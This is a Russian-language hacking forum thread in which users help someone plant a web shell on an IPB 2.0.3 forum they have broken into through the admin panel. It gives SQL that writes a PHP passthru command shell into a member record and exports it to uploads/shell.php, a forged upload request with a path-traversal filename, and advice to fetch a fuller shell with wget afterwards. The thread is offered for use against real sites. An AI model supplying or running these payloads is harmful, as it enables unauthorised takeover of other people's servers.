Не получается залить шелл в Ipb
 

Форум IPB 2.0.3
Дела такие... в админку залез. Папка emotion доступа на запись не имеет...
Как быть дальше?
Знаю что нужно подделать запрос и залить в папку uploads. Прочитал http://antichat.ru/txt/IPB/index2.php вот это, но не понял, что нужно именно заменять в данном там запросе и как дальше пользоваться программой InetCrack. Если можно где-то посмотреть видео по этому поводу или расскажите пожалуйста.
За ранее благодарен!

попробуй через мускулы залить. если повезет и окажутся привелении писать в файл то будет тебе щастье.заливается так - идешь в sql админимтрирование и даешь команды

UPDATE ibf_members SET name='<? passthru("$cmd"); ?>'WHERE id='0';
SELECT name FROM `ibf_members` WHERE id='0' INTO OUTFILE '/FULL_PATH_TO_FORUM/uploads/shell.php';
UPDATE ibf_members SET name='Guest'WHERE id='0';

путь к форуму смотриш в конфигурации.есть и другуй способ,
юзай поиск по форуму.. эта тема сто раз уже обсуждалась.

Кста мне вот тоже интерстна тема, по поводу подделки запроса. Там запрос подделывается на это (часть,кусок):
Content-Disposition: form-data; name="FILE_UPLOAD"; filename="../../uploads/myFile.php"
Content-Type: application/octet-stream

Но где в этом запросе данные о моем ЛОКАЛЬНОМ пути, с которого надо заливать файл сюда: ../../uploads/myFile.php ?

<% echo("Hello from injected PHP script") %>

заменяй на <? passthru("$cmd"); ?>

а потмо уж закачаешь wget`ом нормальный шелл .

Люди помогите, а если нету прав записи в дерикторию uploads? Че тогда делать, неужели из админки ничего сделать нельзя? :(

FoGorm, в uploads хранятся аватары юзеров, получится что на форуме нельзя использовать аватары (может и такое), посмотри.

В том то и дело, незнаю из-за чего админ запретил заливать аватары, возможно ступил что права не дал...
Что можно сделать?

если действительно везьде -rx- то видимо ничего.
Найди другой форум :)

Ну не факт что и ступил, на одном из знакомых серверов у админа времени не было разбираться с js в аватарках, вот он и отключил в качестве временной меры закачку аватарок.